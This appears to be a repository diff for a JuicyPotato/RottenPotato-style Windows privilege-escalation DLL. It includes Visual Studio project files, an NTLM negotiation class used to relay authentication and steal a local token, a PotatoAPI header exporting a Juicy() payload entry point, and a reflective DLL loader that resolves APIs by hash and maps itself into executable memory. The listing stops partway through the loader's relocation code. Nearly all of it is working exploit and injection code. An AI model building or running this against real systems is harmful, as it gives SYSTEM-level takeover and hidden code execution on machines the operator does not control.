<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;WIN_X64;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
<BuildLog>
<Path>$(SolutionDir)$(Configuration)\$(Platform)\$(MSBuildProjectName).log</Path>
</BuildLog>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="BlockingQueue.h" />
<ClInclude Include="ReflectiveLoader.h" />
<ClInclude Include="ReflectiveDLLInjection.h" />
<ClInclude Include="IStorageTrigger.h" />
<ClInclude Include="LocalNegotiator.h" />
<ClInclude Include="MSFRottenPotato.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="IStorageTrigger.cpp" />
<ClCompile Include="LocalNegotiator.cpp" />
<ClCompile Include="JuicyPotato.cpp" />
<ClCompile Include="ReflectiveLoader.c" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,66 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="IStorageTrigger.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="BlockingQueue.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="LocalNegotiator.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MSFRottenPotato.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReflectiveLoader.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="IStorageTrigger.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LocalNegotiator.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="JuicyPotato.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ReflectiveLoader.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,115 @@
#include "stdafx.h"
#include "LocalNegotiator.h"
#include <iostream>
LocalNegotiator::LocalNegotiator()
{
authResult = -1;
}
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
pSecBuffer->BufferType = SECBUFFER_TOKEN;
pSecBuffer->cbBuffer = 0;
pSecBuffer->pvBuffer = nullptr;
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
pSecBufferDesc->cBuffers = 1;
pSecBufferDesc->pBuffers = pSecBuffer;
}
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
{
TCHAR lpPackageName[1024] = L"Negotiate";
TimeStamp ptsExpiry;
int status = AcquireCredentialsHandle(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&hCred,
&ptsExpiry);
if (status != SEC_E_OK)
{
printf("Error in AquireCredentialsHandle");
return -1;
}
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
phContext = new CtxtHandle();
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
status = AcceptSecurityContext(
&hCred,
nullptr,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
return status;
}
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
{
char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
if (len >= secServerBuffer.cbBuffer) {
for (int i = 0; i < len; i++)
{
if (i < secServerBuffer.cbBuffer) {
ntlmBytes[i] = newNtlmBytes[i];
}
else {
ntlmBytes[i] = 0x00;
}
}
}
else {
printf("Buffer sizes incompatible - can't replace");
}
return 0;
}
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
{
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
int status = AcceptSecurityContext(
&hCred,
phContext,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
authResult = status;
return status;
}

View File

@ -0,0 +1,21 @@
#define SECURITY_WIN32
#pragma once
#include <security.h>
#include <schannel.h>
class LocalNegotiator
{
public:
LocalNegotiator();
int handleType1(char* ntlmBytes, int len);
int handleType2(char* ntlmBytes, int len);
int handleType3(char* ntlmBytes, int len);
PCtxtHandle phContext;
int authResult;
private:
CredHandle hCred;
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
SecBuffer secClientBuffer, secServerBuffer;
};

View File

@ -0,0 +1,31 @@
#include "Objidl.h"
#include "BlockingQueue.h"
#include "LocalNegotiator.h"
#include <winsock2.h>
__declspec(dllexport) class PotatoAPI {
private:
BlockingQueue<char*>* comSendQ;
BlockingQueue<char*>* rpcSendQ;
static DWORD WINAPI staticStartRPCConnection(void * Param);
static DWORD WINAPI staticStartCOMListener(void * Param);
static int newConnection;
int processNtlmBytes(char* bytes, int len);
int findNTLMBytes(char * bytes, int len);
public:
PotatoAPI(void);
int startRPCConnection(void);
DWORD startRPCConnectionThread();
DWORD startCOMListenerThread();
int startCOMListener(void);
int triggerDCOM();
LocalNegotiator *negotiator;
SOCKET ListenSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
SOCKET ConnectSocket = INVALID_SOCKET;
};
extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved);
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength);

View File

@ -0,0 +1,52 @@
#pragma once
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,494 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE *)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
